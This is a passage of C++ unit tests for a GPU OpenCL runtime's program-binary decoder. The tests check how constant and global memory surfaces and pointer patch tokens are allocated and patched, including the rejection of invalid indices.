*pCurPtr; SProgramBinaryHeader programBinaryHeader; void *pProgramPatchList; uint32_t programPatchListSize; cl_int patchlistDecodeErrorCode = 0; bool allowDecodeFailure = false; }; void ProgramDataTestBase::buildAndDecodeProgramPatchList() { size_t headerSize = sizeof(SProgramBinaryHeader); cl_int error = CL_SUCCESS; programBinaryHeader.Magic = 0x494E5443; programBinaryHeader.Version = CURRENT_ICBE_VERSION; programBinaryHeader.Device = platformDevices[0]->platform.eRenderCoreFamily; programBinaryHeader.GPUPointerSizeInBytes = 8; programBinaryHeader.NumberOfKernels = 0; programBinaryHeader.PatchListSize = programPatchListSize; char *pProgramData = new char[headerSize + programBinaryHeader.PatchListSize]; ASSERT_NE(nullptr, pProgramData); pCurPtr = pProgramData; // program header memset(pCurPtr, 0, sizeof(SProgramBinaryHeader)); *(SProgramBinaryHeader *)pCurPtr = programBinaryHeader; pCurPtr += sizeof(SProgramBinaryHeader); // patch list memcpy_s(pCurPtr, programPatchListSize, pProgramPatchList, programPatchListSize); pCurPtr += programPatchListSize; //as we use mock compiler in unit test, replace the genBinary here. pProgram->genBinary = makeCopy(pProgramData, headerSize + programBinaryHeader.PatchListSize); pProgram->genBinarySize = headerSize + programBinaryHeader.PatchListSize; error = pProgram->processGenBinary(); patchlistDecodeErrorCode = error; if (allowDecodeFailure == false) { EXPECT_EQ(CL_SUCCESS, error); } delete[] pProgramData; } using ProgramDataTest = ProgramDataTestBase; TEST_F(ProgramDataTest, EmptyProgramBinaryHeader) { buildAndDecodeProgramPatchList(); } TEST_F(ProgramDataTest, AllocateConstantMemorySurfaceProgramBinaryInfo) { auto constSize = setupConstantAllocation(); buildAndDecodeProgramPatchList(); EXPECT_NE(nullptr, pProgram->getConstantSurface()); EXPECT_EQ(0, memcmp(constValue, pProgram->getConstantSurface()->getUnderlyingBuffer(), constSize)); } TEST_F(ProgramDataTest, whenGlobalConstantsAreExportedThenAllocateSurfacesAsSvm) { if (this->pContext->getSVMAllocsManager() == nullptr) { return; } setupConstantAllocation(); std::unique_ptr<WhiteBox<NEO::LinkerInput>> mockLinkerInput = std::make_unique<WhiteBox<NEO::LinkerInput>>(); mockLinkerInput->traits.exportsGlobalConstants = true; static_cast<MockProgram *>(pProgram)->linkerInput = std::move(mockLinkerInput); buildAndDecodeProgramPatchList(); ASSERT_NE(nullptr, pProgram->getConstantSurface()); EXPECT_NE(nullptr, this->pContext->getSVMAllocsManager()->getSVMAlloc(reinterpret_cast<const void *>(pProgram->getConstantSurface()->getGpuAddress()))); } TEST_F(ProgramDataTest, whenGlobalConstantsAreNotExportedThenAllocateSurfacesAsNonSvm) { if (this->pContext->getSVMAllocsManager() == nullptr) { return; } setupConstantAllocation(); std::unique_ptr<WhiteBox<NEO::LinkerInput>> mockLinkerInput = std::make_unique<WhiteBox<NEO::LinkerInput>>(); mockLinkerInput->traits.exportsGlobalConstants = false; static_cast<MockProgram *>(pProgram)->linkerInput = std::move(mockLinkerInput); static_cast<MockProgram *>(pProgram)->context = nullptr; buildAndDecodeProgramPatchList(); static_cast<MockProgram *>(pProgram)->context = pContext; ASSERT_NE(nullptr, pProgram->getConstantSurface()); EXPECT_EQ(nullptr, this->pContext->getSVMAllocsManager()->getSVMAlloc(reinterpret_cast<const void *>(pProgram->getConstantSurface()->getGpuAddress()))); } TEST_F(ProgramDataTest, whenGlobalConstantsAreExportedButContextUnavailableThenAllocateSurfacesAsNonSvm) { if (this->pContext->getSVMAllocsManager() == nullptr) { return; } setupConstantAllocation(); std::unique_ptr<WhiteBox<NEO::LinkerInput>> mockLinkerInput = std::make_unique<WhiteBox<NEO::LinkerInput>>(); mockLinkerInput->traits.exportsGlobalConstants = true; static_cast<MockProgram *>(pProgram)->linkerInput = std::move(mockLinkerInput); static_cast<MockProgram *>(pProgram)->context = nullptr; buildAndDecodeProgramPatchList(); static_cast<MockProgram *>(pProgram)->context = pContext; ASSERT_NE(nullptr, pProgram->getConstantSurface()); EXPECT_EQ(nullptr, this->pContext->getSVMAllocsManager()->getSVMAlloc(reinterpret_cast<const void *>(pProgram->getConstantSurface()->getGpuAddress()))); } TEST_F(ProgramDataTest, whenGlobalVariablesAreExportedThenAllocateSurfacesAsSvm) { if (this->pContext->getSVMAllocsManager() == nullptr) { return; } setupGlobalAllocation(); std::unique_ptr<WhiteBox<NEO::LinkerInput>> mockLinkerInput = std::make_unique<WhiteBox<NEO::LinkerInput>>(); mockLinkerInput->traits.exportsGlobalVariables = true; static_cast<MockProgram *>(pProgram)->linkerInput = std::move(mockLinkerInput); buildAndDecodeProgramPatchList(); ASSERT_NE(nullptr, pProgram->getGlobalSurface()); EXPECT_NE(nullptr, this->pContext->getSVMAllocsManager()->getSVMAlloc(reinterpret_cast<const void *>(pProgram->getGlobalSurface()->getGpuAddress()))); } TEST_F(ProgramDataTest, whenGlobalVariablesAreExportedButContextUnavailableThenAllocateSurfacesAsNonSvm) { if (this->pContext->getSVMAllocsManager() == nullptr) { return; } setupGlobalAllocation(); std::unique_ptr<WhiteBox<NEO::LinkerInput>> mockLinkerInput = std::make_unique<WhiteBox<NEO::LinkerInput>>(); mockLinkerInput->traits.exportsGlobalVariables = true; static_cast<MockProgram *>(pProgram)->linkerInput = std::move(mockLinkerInput); static_cast<MockProgram *>(pProgram)->context = nullptr; buildAndDecodeProgramPatchList(); static_cast<MockProgram *>(pProgram)->context = pContext; ASSERT_NE(nullptr, pProgram->getGlobalSurface()); EXPECT_EQ(nullptr, this->pContext->getSVMAllocsManager()->getSVMAlloc(reinterpret_cast<const void *>(pProgram->getGlobalSurface()->getGpuAddress()))); } TEST_F(ProgramDataTest, whenGlobalVariablesAreNotExportedThenAllocateSurfacesAsNonSvm) { if (this->pContext->getSVMAllocsManager() == nullptr) { return; } setupGlobalAllocation(); std::unique_ptr<WhiteBox<NEO::LinkerInput>> mockLinkerInput = std::make_unique<WhiteBox<NEO::LinkerInput>>(); mockLinkerInput->traits.exportsGlobalVariables = false; static_cast<MockProgram *>(pProgram)->linkerInput = std::move(mockLinkerInput); static_cast<MockProgram *>(pProgram)->context = nullptr; buildAndDecodeProgramPatchList(); static_cast<MockProgram *>(pProgram)->context = pContext; ASSERT_NE(nullptr, pProgram->getGlobalSurface()); EXPECT_EQ(nullptr, this->pContext->getSVMAllocsManager()->getSVMAlloc(reinterpret_cast<const void *>(pProgram->getGlobalSurface()->getGpuAddress()))); } TEST_F(ProgramDataTest, givenConstantAllocationThatIsInUseByGpuWhenProgramIsBeingDestroyedThenItIsAddedToTemporaryAllocationList) { setupConstantAllocation(); buildAndDecodeProgramPatchList(); auto &csr = *pPlatform->getDevice(0)->getDefaultEngine().commandStreamReceiver; auto tagAddress = csr.getTagAddress(); auto constantSurface = pProgram->getConstantSurface(); constantSurface->updateTaskCount(*tagAddress + 1, csr.getOsContext().getContextId()); EXPECT_TRUE(csr.getTemporaryAllocations().peekIsEmpty()); delete pProgram; pProgram = nullptr; EXPECT_FALSE(csr.getTemporaryAllocations().peekIsEmpty()); EXPECT_EQ(constantSurface, csr.getTemporaryAllocations().peekHead()); } TEST_F(ProgramDataTest, givenGlobalAllocationThatIsInUseByGpuWhenProgramIsBeingDestroyedThenItIsAddedToTemporaryAllocationList) { setupGlobalAllocation(); buildAndDecodeProgramPatchList(); auto &csr = *pPlatform->getDevice(0)->getDefaultEngine().commandStreamReceiver; auto tagAddress = csr.getTagAddress(); auto globalSurface = pProgram->getGlobalSurface(); globalSurface->updateTaskCount(*tagAddress + 1, csr.getOsContext().getContextId()); EXPECT_TRUE(csr.getTemporaryAllocations().peekIsEmpty()); delete pProgram; pProgram = nullptr; EXPECT_FALSE(csr.getTemporaryAllocations().peekIsEmpty()); EXPECT_EQ(globalSurface, csr.getTemporaryAllocations().peekHead()); } TEST_F(ProgramDataTest, GivenDeviceForcing32BitMessagesWhenConstAllocationIsPresentInProgramBinariesThen32BitStorageIsAllocated) { auto constSize = setupConstantAllocation(); this->pContext->getDevice(0)->getMemoryManager()->setForce32BitAllocations(true); buildAndDecodeProgramPatchList(); EXPECT_NE(nullptr, pProgram->getConstantSurface()); EXPECT_EQ(0, memcmp(constValue, pProgram->getConstantSurface()->getUnderlyingBuffer(), constSize)); if (is64bit) { EXPECT_TRUE(pProgram->getConstantSurface()->is32BitAllocation()); } } TEST_F(ProgramDataTest, AllocateGlobalMemorySurfaceProgramBinaryInfo) { auto globalSize = setupGlobalAllocation(); buildAndDecodeProgramPatchList(); EXPECT_NE(nullptr, pProgram->getGlobalSurface()); EXPECT_EQ(0, memcmp(globalValue, pProgram->getGlobalSurface()->getUnderlyingBuffer(), globalSize)); } TEST_F(ProgramDataTest, GlobalPointerProgramBinaryInfo) { char globalValue; char *pGlobalPointerValue = &globalValue; size_t globalPointerSize = sizeof(pGlobalPointerValue); char *ptr; // simulate case when global surface was not allocated EXPECT_EQ(nullptr, pProgram->getGlobalSurface()); SPatchGlobalPointerProgramBinaryInfo globalPointer; globalPointer.Token = PATCH_TOKEN_GLOBAL_POINTER_PROGRAM_BINARY_INFO; globalPointer.Size = sizeof(SPatchGlobalPointerProgramBinaryInfo); globalPointer.GlobalBufferIndex = 0; globalPointer.GlobalPointerOffset = 0; globalPointer.BufferIndex = 0; globalPointer.BufferType = PROGRAM_SCOPE_GLOBAL_BUFFER; cl_char *pGlobalPointer = new cl_char[globalPointer.Size]; memcpy_s(pGlobalPointer, sizeof(SPatchGlobalPointerProgramBinaryInfo), &globalPointer, sizeof(SPatchGlobalPointerProgramBinaryInfo)); pProgramPatchList = (void *)pGlobalPointer; programPatchListSize = globalPointer.Size; this->allowDecodeFailure = true; buildAndDecodeProgramPatchList(); EXPECT_EQ(nullptr, pProgram->getGlobalSurface()); EXPECT_EQ(CL_INVALID_BINARY, this->patchlistDecodeErrorCode); this->allowDecodeFailure = false; delete[] pGlobalPointer; // regular case - global surface exists SPatchAllocateGlobalMemorySurfaceProgramBinaryInfo allocateGlobalMemorySurface; allocateGlobalMemorySurface.Token = PATCH_TOKEN_ALLOCATE_GLOBAL_MEMORY_SURFACE_PROGRAM_BINARY_INFO; allocateGlobalMemorySurface.Size = static_cast<uint32_t>(sizeof(SPatchAllocateGlobalMemorySurfaceProgramBinaryInfo)); allocateGlobalMemorySurface.GlobalBufferIndex = 0; allocateGlobalMemorySurface.InlineDataSize = static_cast<uint32_t>(globalPointerSize); cl_char *pAllocateGlobalMemorySurface = new cl_char[allocateGlobalMemorySurface.Size + globalPointerSize]; memcpy_s(pAllocateGlobalMemorySurface, sizeof(SPatchAllocateGlobalMemorySurfaceProgramBinaryInfo), &allocateGlobalMemorySurface, sizeof(SPatchAllocateGlobalMemorySurfaceProgramBinaryInfo)); memcpy_s((cl_char *)pAllocateGlobalMemorySurface + sizeof(allocateGlobalMemorySurface), globalPointerSize, &pGlobalPointerValue, globalPointerSize); pProgramPatchList = pAllocateGlobalMemorySurface; programPatchListSize = static_cast<uint32_t>(allocateGlobalMemorySurface.Size + globalPointerSize); buildAndDecodeProgramPatchList(); EXPECT_NE(nullptr, pProgram->getGlobalSurface()); auto globalSurface = pProgram->getGlobalSurface(); globalSurface->setCpuPtrAndGpuAddress(globalSurface->getUnderlyingBuffer(), globalSurface->getGpuAddress() + 1); EXPECT_NE(reinterpret_cast<uint64_t>(globalSurface->getUnderlyingBuffer()), globalSurface->getGpuAddress()); EXPECT_EQ(0, memcmp(&pGlobalPointerValue, globalSurface->getUnderlyingBuffer(), globalPointerSize)); delete[] pAllocateGlobalMemorySurface; // global pointer to global surface - simulate invalid GlobalBufferIndex globalPointer.Token = PATCH_TOKEN_GLOBAL_POINTER_PROGRAM_BINARY_INFO; globalPointer.Size = sizeof(SPatchGlobalPointerProgramBinaryInfo); globalPointer.GlobalBufferIndex = 10; globalPointer.GlobalPointerOffset = 0; globalPointer.BufferIndex = 0; globalPointer.BufferType = PROGRAM_SCOPE_GLOBAL_BUFFER; pGlobalPointer = new cl_char[globalPointer.Size]; memcpy_s(pGlobalPointer, sizeof(SPatchGlobalPointerProgramBinaryInfo), &globalPointer, sizeof(SPatchGlobalPointerProgramBinaryInfo)); pProgramPatchList = (void *)pGlobalPointer; programPatchListSize = globalPointer.Size; this->allowDecodeFailure = true; buildAndDecodeProgramPatchList(); EXPECT_EQ(0, memcmp(&pGlobalPointerValue, globalSurface->getUnderlyingBuffer(), globalPointerSize)); delete[] pGlobalPointer; // global pointer to global surface - simulate invalid BufferIndex globalPointer.Token = PATCH_TOKEN_GLOBAL_POINTER_PROGRAM_BINARY_INFO; globalPointer.Size = sizeof(SPatchGlobalPointerProgramBinaryInfo); globalPointer.GlobalBufferIndex = 0; globalPointer.GlobalPointerOffset = 0; globalPointer.BufferIndex = 10; globalPointer.BufferType = PROGRAM_SCOPE_GLOBAL_BUFFER; pGlobalPointer = new cl_char[globalPointer.Size]; memcpy_s(pGlobalPointer, sizeof(SPatchGlobalPointerProgramBinaryInfo), &globalPointer, sizeof(SPatchGlobalPointerProgramBinaryInfo)); pProgramPatchList = (void *)pGlobalPointer; programPatchListSize = globalPointer.Size; this->allowDecodeFailure = true; buildAndDecodeProgramPatchList(); EXPECT_EQ(0, memcmp(&pGlobalPointerValue, globalSurface->getUnderlyingBuffer(), globalPointerSize)); delete[] pGlobalPointer; // global pointer to global surface - simulate invalid BufferType globalPointer.Token = PATCH_TOKEN_GLOBAL_POINTER_PROGRAM_BINARY_INFO; globalPointer.Size = sizeof(SPatchGlobalPointerProgramBinaryInfo); globalPointer.GlobalBufferIndex = 0; globalPointer.GlobalPointerOffset = 0; globalPointer.BufferIndex = 0; globalPointer.BufferType = PROGRAM_SCOPE_CONSTANT_BUFFER; pGlobalPointer = new cl_char[globalPointer.Size]; memcpy_s(pGlobalPointer, sizeof(SPatchGlobalPointerProgramBinaryInfo), &globalPointer, sizeof(SPatchGlobalPointerProgramBinaryInfo)); pProgramPatchList = (void *)pGlobalPointer; programPatchListSize = globalPointer.Size; buildAndDecodeProgramPatchList(); EXPECT_EQ(0, memcmp(&pGlobalPointerValue, globalSurface->getUnderlyingBuffer(), globalPointerSize)); delete[] pGlobalPointer; // regular case - global pointer to global surface - all parameters valid this->pProgram->skipValidationOfBinary = true; this->allowDecodeFailure = false; globalPointer.Token = PATCH_TOKEN_GLOBAL_POINTER_PROGRAM_BINARY_INFO; globalPointer.Size = sizeof(SPatchGlobalPointerProgramBinaryInfo); globalPointer.GlobalBufferIndex = 0; globalPointer.GlobalPointerOffset = 0; globalPointer.BufferIndex = 0; globalPointer.BufferType = PROGRAM_SCOPE_GLOBAL_BUFFER; pGlobalPointer = new cl_char[globalPointer.Size]; memcpy_s(pGlobalPointer, sizeof(SPatchGlobalPointerProgramBinaryInfo), &globalPointer, sizeof(SPatchGlobalPointerProgramBinaryInfo)); pProgramPatchList = (void *)pGlobalPointer; programPatchListSize = globalPointer.Size; buildAndDecodeProgramPatchList(); if (!globalSurface->is32BitAllocation()) { EXPECT_NE(0, memcmp(&pGlobalPointerValue, globalSurface->getUnderlyingBuffer(), globalPointerSize)); ptr = pGlobalPointerValue + (globalSurface->getGpuAddressToPatch()); EXPECT_EQ(0, memcmp(&ptr, globalSurface->getUnderlyingBuffer(), globalPointerSize)); } delete[] pGlobalPointer; } TEST_F(ProgramDataTest, Given32BitDeviceWhenGlobalMemorySurfaceIsPresentThenItHas32BitStorage) { char globalValue[] = "55667788"; size_t globalSize = strlen(globalValue) + 1; this->pContext->getDevice(0)->getMemoryManager()->setForce32BitAllocations(true); EXPECT_EQ(nullptr, pProgram->getGlobalSurface()); SPatchAllocateGlobalMemorySurfaceProgramBinaryInfo allocateGlobalMemorySurface; allocateGlobalMemorySurface.Token = PATCH_TOKEN_ALLOCATE_GLOBAL_MEMORY_SURFACE_PROGRAM_BINARY_INFO; allocateGlobalMemorySurface.Size = static_cast<uint32_t>(sizeof(SPatchAllocateGlobalMemorySurfaceProgramBinaryInfo)); allocateGlobalMemorySurface.GlobalBufferIndex = 0; allocateGlobalMemorySurface.InlineDataSize = static_cast<uint32_t>(globalSize); cl_char *pAllocateGlobalMemorySurface = new cl_char[allocateGlobalMemorySurface.Size + globalSize]; memcpy_s(pAllocateGlobalMemorySurface, sizeof(SPatchAllocateGlobalMemorySurfaceProgramBinaryInfo), &allocateGlobalMemorySurface, sizeof(SPatchAllocateGlobalMemorySurfaceProgramBinaryInfo)); memcpy_s((cl_char *)pAllocateGlobalMemorySurface + sizeof(allocateGlobalMemorySurface), globalSize, globalValue, globalSize); pProgramPatchList = (void *)pAllocateGlobalMemorySurface; programPatchListSize = static_cast<uint32_t>(allocateGlobalMemorySurface.Size + globalSize); buildAndDecodeProgramPatchList(); EXPECT_NE(nullptr, pProgram->getGlobalSurface()); EXPECT_EQ(0, memcmp(globalValue, pProgram->getGlobalSurface()->getUnderlyingBuffer(), globalSize)); if (is64bit) { EXPECT_TRUE(pProgram->getGlobalSurface()->is32BitAllocation()); } delete[] pAllocateGlobalMemorySurface; } TEST_F(ProgramDataTest, ConstantPointerProgramBinaryInfo) { const char *pConstantData = "01234567"; size_t constantDataLen = strlen(pConstantData); // simulate case when constant surface was not allocated EXPECT_EQ(nullptr, pProgram->getConstantSurface()); SPatchConstantPointerProgramBinaryInfo constantPointer; constantPointer.Token = PATCH_TOKEN_CONSTANT_POINTER_PROGRAM_BINARY_INFO; constantPointer.Size = sizeof(SPatchConstantPointerProgramBinaryInfo); constantPointer.ConstantBufferIndex = 0; constantPointer.ConstantPointerOffset = 0; constantPointer.BufferIndex = 0; constantPointer.BufferType = PROGRAM_SCOPE_CONSTANT_BUFFER; cl_char *pConstantPointer = new cl_char[constantPointer.Size]; memcpy_s(pConstantPointer, sizeof(SPatchConstantPointerProgramBinaryInfo), &constantPointer, sizeof(SPatchConstantPointerProgramBinaryInfo)); pProgramPatchList = (void *)pConstantPointer; programPatchListSize = constantPointer.Size; this->allowDecodeFailure = true; buildAndDecodeProgramPatchList(); EXPECT_EQ(nullptr, pProgram->getConstantSurface()); EXPECT_EQ(CL_INVALID_BINARY, this->patchlistDecodeErrorCode); this->allowDecodeFailure = false; delete[] pConstantPointer; // regular case - constant surface exists SPatchAllocateConstantMemorySurfaceProgramBinaryInfo allocateConstMemorySurface; allocateConstMemorySurface.Token = PATCH_TOKEN_ALLOCATE_CONSTANT_MEMORY_SURFACE_PROGRAM_BINARY_INFO; // note : + sizeof(uint64_t) is to accomodate for constant buffer offset allocateConstMemorySurface.Size = static_cast<uint32_t>(sizeof(SPatchAllocateConstantMemorySurfaceProgramBinaryInfo)); allocateConstMemorySurface.ConstantBufferIndex = 0; allocateConstMemorySurface.InlineDataSize = static_cast<uint32_t>(constantDataLen + sizeof(uint64_t)); auto pAllocateConstMemorySurface = std::unique_ptr<char>(new char[allocateConstMemorySurface.Size + allocateConstMemorySurface.InlineDataSize]); // copy the token header memcpy_s(pAllocateConstMemorySurface.get(), sizeof(SPatchAllocateConstantMemorySurfaceProgramBinaryInfo), &allocateConstMemorySurface, sizeof(SPatchAllocateConstantMemorySurfaceProgramBinaryInfo)); // copy the constant data memcpy_s((char *)pAllocateConstMemorySurface.get() + sizeof(allocateConstMemorySurface), constantDataLen, pConstantData, constantDataLen); // zero-out the constant buffer offset (will be patched during gen binary decoding) size_t constantBufferOffsetPatchOffset = constantDataLen; *(uint64_t *)((char *)pAllocateConstMemorySurface.get() + sizeof(allocateConstMemorySurface) + constantBufferOffsetPatchOffset) = 0U; pProgramPatchList = (void *)pAllocateConstMemorySurface.get(); programPatchListSize = allocateConstMemorySurface.Size + allocateConstMemorySurface.InlineDataSize; buildAndDecodeProgramPatchList(); EXPECT_NE(nullptr, pProgram->getConstantSurface()); auto constantSurface = pProgram->getConstantSurface(); constantSurface->setCpuPtrAndGpuAddress(constantSurface->getUnderlyingBuffer(), constantSurface->getGpuAddress() + 1); EXPECT_NE(reinterpret_cast<uint64_t>(constantSurface->getUnderlyingBuffer()), constantSurface->getGpuAddress()); EXPECT_EQ(0, memcmp(pConstantData, constantSurface->getUnderlyingBuffer(), constantDataLen)); // there was no PATCH_TOKEN_CONSTANT_POINTER_PROGRAM_BINARY_INFO, so constant buffer offset should be still 0 EXPECT_EQ(0U, *reinterpret_cast<uint64_t *>(static_cast<char *>(constantSurface->getUnderlyingBuffer()) + constantBufferOffsetPatchOffset)); // once finally constant buffer offset gets patched - the patch value depends on the bitness of the compute kernel auto patchOffsetValueStorage = std::unique_ptr<uint64_t>(new uint64_t); // 4bytes for 32-bit compute kernel, full 8byte for 64-bit compute kernel uint64_t *patchOffsetValue = patchOffsetValueStorage.get(); if (constantSurface->is32BitAllocation() || (sizeof(void *) == 4)) { reinterpret_cast<uint32_t *>(patchOffsetValue)[0] = static_cast<uint32_t>(constantSurface->getGpuAddressToPatch()); reinterpret_cast<uint32_t *>(patchOffsetValue)[1] = 0; // just pad with 0 } else { // full 8 bytes *reinterpret_cast<uint64_t *>(patchOffsetValue) = constantSurface->getGpuAddressToPatch(); } // constant pointer to constant surface - simulate invalid GlobalBufferIndex constantPointer.Token = PATCH_TOKEN_CONSTANT_POINTER_PROGRAM_BINARY_INFO; constantPointer.Size = sizeof(SPatchConstantPointerProgramBinaryInfo); constantPointer.ConstantBufferIndex = 10; constantPointer.ConstantPointerOffset = 0; constantPointer.BufferIndex = 0; constantPointer.BufferType = PROGRAM_SCOPE_CONSTANT_BUFFER; pConstantPointer = new cl_char[constantPointer.Size]; memcpy_s(pConstantPointer, sizeof(SPatchConstantPointerProgramBinaryInfo), &constantPointer, sizeof(SPatchConstantPointerProgramBinaryInfo)); pProgramPatchList = (void *)pConstantPointer; programPatchListSize = constantPointer.Size; this->allowDecodeFailure = true; buildAndDecodeProgramPatchList(); EXPECT_EQ(0, memcmp(pConstantData, constantSurface->getUnderlyingBuffer(), constantDataLen)); // check that constant pointer offset was not patched EXPECT_EQ(0U, *reinterpret_cast<uint64_t *>(static_cast<char *>(constantSurface->getUnderlyingBuffer()) + constantBufferOffsetPatchOffset)); // reset the constant pointer offset *reinterpret_cast<uint64_t *>(static_cast<char *>(constantSurface->getUnderlyingBuffer()) + constantBufferOffsetPatchOffset) = 0U; delete[] pConstantPointer; // constant pointer to constant surface - simulate invalid BufferIndex constantPointer.Token = PATCH_TOKEN_CONSTANT_POINTER_PROGRAM_BINARY_INFO; constantPointer.Size = sizeof(SPatchConstantPointerProgramBinaryInfo); constantPointer.ConstantBufferIndex = 0; constantPointer.ConstantPointerOffset = 0; constantPointer.BufferIndex = 10; constantPointer.BufferType = PROGRAM_SCOPE_CONSTANT_BUFFER; pConstantPointer = new cl_char[constantPointer.Size]; memcpy_s(pConstantPointer, sizeof(SPatchConstantPointerProgramBinaryInfo), &constantPointer, sizeof(SPatchConstantPointerProgramBinaryInfo)); pProgramPatchList = (void *)pConstantPointer; programPatchListSize = constantPointer.Size; buildAndDecodeProgramPatchList(); EXPECT_EQ(0, memcmp(pConstantData, constantSurface->getUnderlyingBuffer(), constantDataLen)); // check that constant pointer offset was not patched EXPECT_EQ(0U, *reinterpret_cast<uint64_t *>(static_cast<char *>(constantSurface->getUnderlyingBuffer()) + constantBufferOffsetPatchOffset)); // reset the constant pointer offset *(uint64_t *)((char *)constantSurface->getUnderlyingBuffer() + constantBufferOffsetPatchOffset) = 0U; delete[] pConstantPointer; // constant pointer to constant surface - simulate invalid BufferType constantPointer.Token = PATCH_TOKEN_CONSTANT_POINTER_PROGRAM_BINARY_INFO; constantPointer.Size = sizeof(SPatchConstantPointerProgramBinaryInfo); constantPointer.ConstantBufferIndex = 0; constantPointer.ConstantPointerOffset = 0; constantPointer.BufferIndex = 0; constantPointer.BufferType = PROGRAM_SCOPE_GLOBAL_BUFFER; pConstantPointer = new cl_char[constantPointer.Size]; memcpy_s(pConstantPointer, sizeof(SPatchConstantPointerProgramBinaryInfo), &constantPointer, sizeof(SPatchConstantPointerProgramBinaryInfo)); pProgramPatchList = (void *)pConstantPointer; programPatchListSize = constantPointer.Size; buildAndDecodeProgramPatchList(); EXPECT_EQ(0, memcmp(pConstantData, constantSurface->getUnderlyingBuffer(), constantDataLen)); // check that constant pointer offset was not patched EXPECT_EQ(0U, *reinterpret_cast<uint64_t *>(static_cast<char *>(constantSurface->getUnderlyingBuffer()) + constantBufferOffsetPatchOffset)); // reset the constant pointer offset *reinterpret_cast<uint64_t *>(static_cast<char *>(constantSurface->getUnderlyingBuffer()) + constantBufferOffsetPatchOffset) = 0U; delete[] pConstantPointer; // regular case - constant pointer to constant surface - all parameters valid constantPointer.Token = PATCH_TOKEN_CONSTANT_POINTER_PROGRAM_BINARY_INFO; constantPointer.Size = sizeof(SPatchConstantPointerProgramBinaryInfo); constantPointer.ConstantBufferIndex = 0; constantPointer.ConstantPointerOffset = constantDataLen; constantPointer.BufferIndex = 0; constantPointer.BufferType = PROGRAM_SCOPE_CONSTANT_BUFFER; pConstantPointer = new cl_char[constantPointer.Size]; memcpy_s(pConstantPointer, sizeof(SPatchConstantPointerProgramBinaryInfo), &constantPointer, sizeof(SPatchConstantPointerProgramBinaryInfo)); pProgramPatchList = (void *)pConstantPointer; programPatchListSize = constantPointer.Size; this->pProgram->skipValidationOfBinary = true; this->allowDecodeFailure = false; buildAndDecodeProgramPatchList(); EXPECT_EQ(0, memcmp(pConstantData, constantSurface->getUnderlyingBuffer(), constantDataLen)); // check that constant pointer offset was patched EXPECT_EQ(*reinterpret_cast<uint64_t *>(patchOffsetValue), *reinterpret_cast<uint64_t *>(static_cast<char *>(constantSurface->getUnderlyingBuffer()) + constantBufferOffsetPatchOffset)); delete[] pConstantPointer; } TEST_F(ProgramDataTest, GivenProgramWith32bitPointerOptWhenProgramScopeConstantBufferPatchTokensAreReadThenConstantPointerOffsetIsPatchedWith32bitPointer) { cl_device_id device = pPlatform->getDevice(0); CreateProgramWithSource(pContext, &device, "CopyBuffer_simd8.cl"); ASSERT_NE(nullptr, pProgram); MockProgram *prog = pProgram; // simulate case when constant surface was not allocated EXPECT_EQ(nullptr, prog->getConstantSurface()); SPatchConstantPointerProgramBinaryInfo constantPointer; constantPointer.Token = PATCH_TOKEN_CONSTANT_POINTER_PROGRAM_BINARY_INFO; constantPointer.Size = sizeof(SPatchConstantPointerProgramBinaryInfo); constantPointer.ConstantBufferIndex = 0; constantPointer.ConstantPointerOffset = 0; constantPointer.BufferIndex = 0; constantPointer.BufferType = PROGRAM_SCOPE_CONSTANT_BUFFER; auto pConstantPointer = std::unique_ptr<char[]>(new char[constantPointer.Size]); memcpy_s(pConstantPointer.get(), sizeof(SPatchConstantPointerProgramBinaryInfo), &constantPointer, sizeof(SPatchConstantPointerProgramBinaryInfo)); pProgramPatchList = (void *)pConstantPointer.get(); programPatchListSize = constantPointer.Size; MockBuffer constantSurface; ASSERT_LT(8U, constantSurface.getSize()); prog->setConstantSurface(&constantSurface.mockGfxAllocation); constantSurface.mockGfxAllocation.set32BitAllocation(true); uint32_t *constantSurfaceStorage = reinterpret_cast<uint32_t *>(constantSurface.getCpuAddress()); uint32_t sentinel = 0x17192329U; constantSurfaceStorage[0] = 0U; constantSurfaceStorage[1] = sentinel; this->pProgram->skipValidationOfBinary = true; buildAndDecodeProgramPatchList(); uint32_t expectedAddr = static_cast<uint32_t>(constantSurface.getGraphicsAllocation()->getGpuAddressToPatch()); EXPECT_EQ(expectedAddr, constantSurfaceStorage[0]); EXPECT_EQ(sentinel, constantSurfaceStorage[1]); constantSurface.mockGfxAllocation.set32BitAllocation(false); prog->setConstantSurface(nullptr); } TEST_F(ProgramDataTest, GivenProgramWith32bitPointerOptWhenProgramScopeGlobalPointerPatchTokensAreReadThenGlobalPointerOffsetIsPatchedWith32bitPointer) { cl_device_id device = pPlatform->getDevice(0); CreateProgramWithSource(pContext, &device, "CopyBuffer_simd8.cl"); ASSERT_NE(nullptr, pProgram); MockProgram *prog = pProgram; // simulate case when constant surface was not allocated EXPECT_EQ(nullptr, prog->getConstantSurface()); SPatchGlobalPointerProgramBinaryInfo globalPointer; globalPointer.Token = PATCH_TOKEN_GLOBAL_POINTER_PROGRAM_BINARY_INFO; globalPointer.Size = sizeof(SPatchConstantPointerProgramBinaryInfo); globalPointer.GlobalBufferIndex = 0; globalPointer.GlobalPointerOffset = 0; globalPointer.BufferIndex = 0; globalPointer.BufferType = PROGRAM_SCOPE_GLOBAL_BUFFER; auto pGlobalPointer = std::unique_ptr<char[]>(new char[globalPointer.Size]); memcpy_s(pGlobalPointer.get(), sizeof(SPatchGlobalPointerProgramBinaryInfo), &globalPointer, sizeof(SPatchGlobalPointerProgramBinaryInfo)); pProgramPatchList = (void *)pGlobalPointer.get(); programPatchListSize = globalPointer.Size; MockBuffer globalSurface; ASSERT_LT(8U, globalSurface.getSize()); prog->setGlobalSurface(&globalSurface.mockGfxAllocation); globalSurface.mockGfxAllocation.set32BitAllocation(true); uint32_t *globalSurfaceStorage = reinterpret_cast<uint32_t *>(globalSurface.getCpuAddress()); uint32_t sentinel = 0x17192329U; globalSurfaceStorage[0] = 0U; globalSurfaceStorage[1] = sentinel; this->pProgram->skipValidationOfBinary = true; buildAndDecodeProgramPatchList(); uint32_t expectedAddr = static_cast<uint32_t>(globalSurface.getGraphicsAllocation()->getGpuAddressToPatch()); EXPECT_EQ(expectedAddr, globalSurfaceStorage[0]); EXPECT_EQ(sentinel, globalSurfaceStorage[1]); globalSurface.mockGfxAllocation.set32BitAllocation(false); prog->setGlobalSurface(nullptr); } TEST_F(ProgramDataTest, givenSymbolTablePatchTokenThenLinkerInputIsCreated) { SPatchFunctionTableInfo token; token.Token = PATCH_TOKEN_PROGRAM_SYMBOL_TABLE; token.Size = static_cast<uint32_t>(sizeof(SPatchFunctionTableInfo)); token.NumEntries = 0; pProgramPatchList = &token; programPatchListSize = token.Size; 